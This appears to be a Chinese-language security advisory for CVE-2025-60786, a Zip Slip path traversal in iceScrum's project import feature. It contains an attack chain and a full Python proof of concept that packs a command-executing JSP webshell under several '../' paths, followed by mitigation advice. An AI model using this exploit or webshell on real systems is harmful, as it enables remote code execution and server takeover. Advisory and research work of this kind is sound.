IPBUF安全漏洞报告
English
CVE-2025-60786 CVSS 8.8 高危

CVE-2025-60786: iceScrum v7.54 Zip Slip路径穿越导致任意代码执行漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-60786
漏洞类型
路径穿越(Zip Slip)/ 任意代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
iceScrum v7.54 Pro On-prem

相关标签

CVE-2025-60786Zip Slip路径穿越任意代码执行iceScrumWebShell文件上传漏洞高危漏洞v7.54

漏洞概述

CVE-2025-60786是iceScrum项目中发现的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞属于经典的Zip Slip(压缩包滑移)路径穿越漏洞,存在于iceScrum的"导入项目"(import a Project)功能组件中。攻击者可以通过构造精心设计的恶意Zip压缩文件,利用文件解压时的路径验证缺陷,将任意文件写入服务器的目标目录,从而实现任意代码执行。攻击者仅需拥有低权限账户即可发起攻击,且无需任何用户交互即可完成 exploit。由于iceScrum通常部署在企业内网环境用于团队协作管理,该漏洞可被用于横向移动和数据窃取,对企业信息安全构成严重威胁。建议受影响的用户尽快升级到最新版本或在上传功能前增加严格的文件名和路径校验机制。

技术细节

Zip Slip漏洞是一种目录遍历攻击,发生在应用程序解压Zip文件时未正确验证归档内文件路径的情况下。在iceScrum v7.54 Pro On-prem的导入项目功能中,攻击者可以创建一个包含路径穿越文件名的Zip文件。例如,在Zip文件的元数据中,将文件名设置为类似'../../../../webapps/icescrum/shell.jsp'的路径。当iceScrum服务器解压该文件时,如果解压逻辑未对文件路径进行安全校验,恶意文件将被写入应用服务器的webapps目录,从而获得远程代码执行能力。攻击者利用这种技术可以部署WebShell,绕过身份验证机制,执行系统命令,访问数据库,甚至完全控制服务器。漏洞的利用需要攻击者具有iceScrum的低权限账户,但上传功能本身缺乏对压缩包内文件路径的有效过滤和验证机制。

攻击链分析

STEP 1
步骤1
攻击者创建恶意Zip文件:在Zip压缩包中插入带有路径遍历序列(如'../../')的文件名,将恶意JSP webshell伪装为正常文件
STEP 2
步骤2
攻击者使用低权限账户登录iceScrum v7.54 Pro On-prem平台
STEP 3
步骤3
攻击者导航至项目导入功能(import a Project),上传构造好的恶意Zip文件
STEP 4
步骤4
iceScrum服务器在解压Zip文件时,未正确验证文件路径,导致恶意文件通过路径穿越写入webapps目录
STEP 5
步骤5
攻击者通过HTTP请求访问部署的webshell(如/icescrum/shell.jsp),在请求参数中传入系统命令
STEP 6
步骤6
webshell以服务器运行权限执行命令,攻击者获得服务器完全控制权,可执行横向移动、数据窃取等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-60786 PoC - Zip Slip in iceScrum v7.54 # Author: Security Researcher # Description: Generate malicious ZIP file for path traversal exploit import zipfile import os def create_zip_slip_poc(): """ Create a malicious ZIP file with path traversal payload. The payload attempts to write a JSP webshell to the webapps directory. """ # Malicious JSP webshell content webshell_content = '''<%@ page import="java.util.*,java.io.*"%><%if(request.getParameter("cmd")!=null){Process p=Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os=p.getOutputStream();InputStream in=p.getInputStream();DataInputStream dis=new DataInputStream(in);String disr=dis.readLine();while(disr!=null){out.println(disr);disr=dis.readLine();}}%>''' output_file = 'CVE-2025-60786_poc.zip' with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Normal project file to avoid suspicion zf.writestr('project/icescrum.json', '{"name":"Test Project","version":"1.0"}') zf.writestr('project/tasks.json', '{"tasks":[]}') # Path traversal payload - Zip Slip attack # This path attempts to escape the intended extraction directory malicious_path = '../../webapps/icescrum/shell.jsp' zf.writestr(malicious_path, webshell_content) # Alternative paths for different server configurations alternative_paths = [ '../../tomcat/webapps/ROOT/shell.jsp', '../../../tomcat/webapps/ROOT/shell.jsp', '../../icescrum/webapps/shell.jsp' ] for alt_path in alternative_paths: zf.writestr(alt_path, webshell_content) print(f'[+] Created malicious ZIP file: {output_file}') print('[+] Use this file to exploit iceScrum import project feature') print('[+] After upload, access the shell at: /icescrum/shell.jsp?cmd=whoami') if __name__ == '__main__': create_zip_slip_poc()

影响范围

iceScrum v7.54 Pro On-prem

防御指南

临时缓解措施
在厂商发布正式修复版本前,建议采取以下临时缓解措施:1)禁用iceScrum的项目导入功能或限制为只读模式;2)在应用层添加文件名过滤规则,阻止包含路径遍历字符('..'、'/'、'\')的文件解压;3)限制应用服务器用户权限,确保即使文件被写入也无法执行;4)启用服务器端的安全监控和文件完整性检测;5)考虑在DMZ环境中隔离部署iceScrum,减少潜在攻击影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表